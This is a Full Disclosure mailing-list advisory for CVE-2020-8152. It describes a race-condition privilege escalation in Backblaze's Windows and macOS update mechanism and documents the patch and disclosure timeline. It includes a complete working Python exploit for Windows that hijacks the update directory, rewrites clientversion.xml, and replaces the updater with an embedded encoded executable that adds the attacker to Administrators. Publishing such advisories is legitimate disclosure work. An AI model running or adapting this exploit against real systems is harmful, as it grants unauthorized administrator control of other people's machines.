Message-ID: <CABTJqw_CgeRSmd7u9TamXZVxJjXwrom8pd1=v7Qg_t6YFJUDEA@mail.gmail.com>
Date: Tue, 8 Sep 2020 12:41:55 -0500
From: Jason Geffner <geffner@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] CVE-2020-8152 – Elevation of Privilege in Backblaze

CVE-2020-8152 – Elevation of Privilege in Backblaze
---------------------------------------------------

Summary
=======
Name: Elevation of Privilege in Backblaze
CVE: CVE-2020-8152
Discoverer: Jason Geffner
Vendor: Backblaze
Product: Backblaze for Windows and Backblaze for macOS
Risk: High
Discovery Date: 2020-03-13
Publication Data: 2020-09-08
Fixed Version: 7.0.0.439

Introduction
============
Per Wikipedia, Backblaze is "an online backup tool that allows Windows and macOS
users to back up their data to offsite data centers. The service is designed for
businesses and end-users, providing unlimited storage space and supporting
unlimited file sizes."

Vulnerable versions of Backblaze for Windows and Backblaze for macOS contain a
high risk vulnerability that allows a local unprivileged attacker to perform an
elevation of privilege (EOP) attack to become SYSTEM/root.

Vulnerability
=============
The Backblaze client's service process, named bzserv, runs as SYSTEM on Windows
and as root on macOS. Every couple of hours, bzserv runs a program named
bztransmit (executed as SYSTEM/root) to download an XML file named
clientversion.xml from Backblaze's data center to see if a newer version of the
Backblaze client is available for download, and if so, downloads the latest
client version's installer from Backblaze's data center. The downloaded
installer is saved to the %ProgramData%\Backblaze\bzdata\bzupdates directory in
Windows and to the /Library/Backblaze.bzpkg/bzdata/bzupdates or
/Library/Backblaze/bzdata/bzupdates directory on macOS. Once downloaded,
bztransmit runs the downloaded installer as SYSTEM via ShellExecute() or as root
via system().

On Windows, the %ProgramData%\Backblaze\bzdata directory is created at
install-time such that local unprivileged users have read- and write-access. The
bztransmit process creates the bzupdates child directory while it's running as
SYSTEM, and unprivileged users do not have read- or write-access to this child
directory once it's created. However, the bztransmit process does not securely
verify the ACL on this bzupdates directory if it already existed, nor does it
securely update the ACL if the directory already existed. As such, a local
unprivileged attacker can create the %ProgramData%\Backblaze\bzdata\bzupdates
directory prior to Backblaze's installation, or create the bzupdates child
directory under %ProgramData%\Backblaze\bzdata after Backblaze is installed and
before bztransmit creates the bzupdates child directory. This allows the
attacker to be the owner of the bzupdates directory and have full control over
the files in that directory. Thus, the attacker can modify or replace the
downloaded update executable after it's downloaded and before it's executed,
thereby allowing for local EOP.

On macOS, the /Library/Backblaze.bzpkg/bzdata directory (or
/Library/Backblaze/bzdata) is created at install-time with permissions 0777
(drwxrwxrwx), such that local unprivileged users have read- and write-access.
The bztransmit process creates the bzupdates child directory with permissions
0755 (drwxr-xr-x) while it's running as root, and unprivileged users do not have
read- or write-access to this child directory once it's created. However, the
bztransmit process does not securely verify the permissions on this bzupdates
directory if it already existed, nor does it securely update the permissions if
the directory already existed. As such, a local unprivileged attacker can create
the bzupdates child directory under /Library/Backblaze.bzpkg/bzdata (or
/Library/Backblaze/bzdata) after Backblaze is installed and before bztransmit
creates the bzupdates child directory. This allows the attacker to be the owner
of the bzupdates directory and have full control over the files in that
directory. Thus, the attacker can modify or replace the downloaded update
executable after it's downloaded and before it's executed, thereby allowing for
local EOP.

Proof of Concept
================
Video: https://youtu.be/OpC6neWd2aM

The above video shows two concurrent logins to the same VM: an administrator's
session on the left, and an unprivileged attacker's session on the right. You
can see the following steps in the in the video:

1. Attacker runs "net localgroup Administrators" to show that the unprivileged
   attacker's account (named Attacker) is not a member of the Administrators
   group.
2. Attacker runs "python eop.py" (whose source code is below).
3. The administrator then installs Backblaze.
4. Six minutes later, the installed Backblaze service downloads
   clientversion.xml, which the exploit overwrites.
5. One minute later, the installed Backblaze service downloads the updater
   executable, which the exploit overwrites.
6. The Backblaze service then runs the overwritten updater, which adds the
   Attacker account to the Administrators group.
7. The attacker then runs "net localgroup Administrators" again to show that the
   Attacker account has indeed been added to the Administrators group. Local
   privilege elevation complete.
________________________________________________________________________________
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
#     http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.

"""Proof-of-concept exploit for CVE-2020-8152 for Windows."""


__author__ = "geffner@...il.com (Jason Geffner)"
__version__ = "1.0"


import base64
import bz2
import ctypes
import os
import platform
import re
import subprocess
import time


def wait_for_filesystem_object(file_path):
    if os.path.exists(file_path):
        return
    parent_directory = os.path.dirname(file_path)
    if not os.path.exists(parent_directory):
        wait_for_filesystem_object(parent_directory)
    buffer = ctypes.create_string_buffer(1024)
    bytes_returned = ctypes.c_ulong()
    if "." in os.path.basename(file_path):
        notify_filter = 8
    else:
        notify_filter = 2
    h = ctypes.windll.kernel32.CreateFileW(parent_directory, 1, 3, None, 3,
                                           0x02000000, None)
    while not os.path.exists(file_path):
        ctypes.windll.kernel32.ReadDirectoryChangesW(
            h, ctypes.byref(buffer), 1024, False, notify_filter,
            ctypes.byref(bytes_returned), None, None)
    ctypes.windll.kernel32.CloseHandle(h)


def get_exe_content():
    #
    # Returns the content of an EXE that will add the attacker to the
    # Administrators group. Based on
    # https://github.com/corkami/pocs/blob/master/PE/tiny.asm
    #
    exe_content = bz2.decompress(base64.b85decode(
        "LRx4!F+o`-Q&~Gdx1Rt2IDf_b?h*hH0T=+r20)M=eGothKnwr?AOHZM0CF*qXfk9P8W?" +
        "~Xpp?}o=_Zd;AT%0gp!EiU7eYM!=ig9Ls6k|2Zp2X7u2P_M#mS9GBAA+UVO{FjHAvEri" +
        "p0bod_MlBT`kDlS6O$(^CD~4Z=KV8QJRn3`8m~{QUE*R2n)F)oG3^gpWDxX"))
    exe_content += ("NET LOCALGROUP Administrators " +
                    f"{os.environ['USERDOMAIN']}\\" +
                    f"{os.environ['USERNAME']} /ADD").encode()
    return exe_content


def am_i_admin():
    bufptr = ctypes.c_void_p()
    ctypes.windll.netapi32.NetUserGetInfo(
        os.environ["USERDOMAIN"], os.environ["USERNAME"], 1,
        ctypes.byref(bufptr))
    if platform.architecture()[0] == "32bit":
        usri1_priv = ctypes.string_at(bufptr, 13)[-1]
    else:
        usri1_priv = ctypes.string_at(bufptr, 21)[-1]
    ctypes.windll.netapi32.NetApiBufferFree(bufptr)
    return usri1_priv == 2


def poc():
    print(f"Running as user: {os.environ['USERNAME']}")

    # Ensure that we're running as an unprivileged user.
    print("Testing for administrative privileges...")
    if am_i_admin():
        print("You're already an administrator. Bye!")
        return
    print("You're a non-administrative user.")

    # Raise our process's priority to try to win our race condition.
    pid = ctypes.windll.kernel32.GetCurrentProcessId()
    h = ctypes.windll.kernel32.OpenProcess(0x200, False, pid)
    ctypes.windll.kernel32.SetPriorityClass(h, 0x100)
    ctypes.windll.kernel32.CloseHandle(h)

    # Create the bzupdates directory so that we are the owner of it.
    bzupdates = f"{os.environ['ProgramData']}\\Backblaze\\bzdata\\bzupdates"
    if os.path.exists(bzupdates):
        print("Backblaze's bzupdates directory was already created. You're " +
              "too late!")
        return
    os.makedirs(bzupdates)

    #
    # Get the installed hguid value so that we can force an update via
    # clientversion.xml.
    #
    if platform.architecture()[0] == "32bit":
        bzinstall = f"{os.environ['ProgramFiles']}\\Backblaze\\bzinstall.xml"
    else:
        bzinstall = f"{os.environ['ProgramFiles(x86)']}" +\
                    "\\Backblaze\\bzinstall.xml"
    if not os.path.exists(bzinstall):
        print("Waiting for Backblaze's installer to assign an hguid value.")
        wait_for_filesystem_object(bzinstall)
        print("Backblaze assigned an hguid value.")
    with open(bzinstall) as f:
        xml = f.read()
    hguid = re.search('hguid="([^"]+)"', xml).group(1)

    # Force update via clientversion.xml.
    if not os.path.exists(f"{bzupdates}\\clientversion.xml"):
        print("Waiting for Backblaze to download clientversion.xml.")
        wait_for_filesystem_object(f"{bzupdates}\\clientversion.xml")
        print("clientversion.xml now downloaded.")
    with open(f"{bzupdates}\\clientversion.xml", "r+") as f:
        xml = f.read()
        xml = re.sub('update_hguids_firstchar=".',
                     f'update_hguids_firstchar="{hguid[0]}', xml)
        xml = xml.replace('win32_version="', 'win32_version="1')
        f.truncate(0)
        f.seek(0)
        f.write(xml)
    print("clientversion.xml modified to force update next time Backblaze " +
          "considers updating.")

    # Don't allow SYSTEM to overwrite clientversion.xml.
    subprocess.run(["icacls.exe", f"{bzupdates}\\clientversion.xml",
                    "/setowner", f"{os.environ['USERNAME']}"])
    print()
    subprocess.run(f'echo y| cacls.exe "{bzupdates}\\clientversion.xml" ' +
                   '/S:D:PAI(A;;FA;;;OW)(A;;GRGX;;;SY)', shell=True)
    print()

    #
    # Create an executable to replace the downloaded update, which will elevate
    # our privileges.
    #
    exe_content = get_exe_content()
    with open(f"{bzupdates}\\eop.exe", "wb") as f:
        f.write(exe_content)

    #
    # Wait for update to download and overwrite it with attacker's executable.
    # In this PoC we use iexpress.exe (built into Windows) to create an EXE that
    # adds the attacker to the Administrators group, but an attacker could
    # supply any executable content they like.
    #
    exe = re.search('win32_url=.+?file=([^"]+)"', xml).group(1)
    print(f"Waiting for Backblaze to download {exe}.")
    wait_for_filesystem_object(f"{bzupdates}\\{exe}")
    os.replace(f"{bzupdates}\\eop.exe", f"{bzupdates}\\{exe}")
    print(f"{exe} downloaded and replaced.")
    print(f"{exe} should now get executed as SYSTEM.")

    for i in range(5):
        if am_i_admin():
            print("Success! You're now an administrator!")
            return
        time.sleep(1)
    print("Exploit failed. We probably lost the race-condition when " +
          f"overwriting {exe}.")


if __name__ == "__main__":
    poc()
________________________________________________________________________________

Mitigation
==========
Backblaze patched this vulnerability in Backblaze version 7.0.0.439.

Discoverer
==========
This vulnerability was discovered and reported to Backblaze by Jason Geffner via
HackerOne.

Timeline
========
2020-03-13 - Vulnerability discovered and reported to Backblaze via HackerOne
2020-03-26 - HackerOne verified vulnerability
2020-04-22 - CVE-2020-8152 assigned
2020-04-22 - Build 7.0.0.439 released
2020-04-22 - Vulnerability mitigation verified
2020-04-23 - Public disclosure requested
2020-09-08 - Public disclosure

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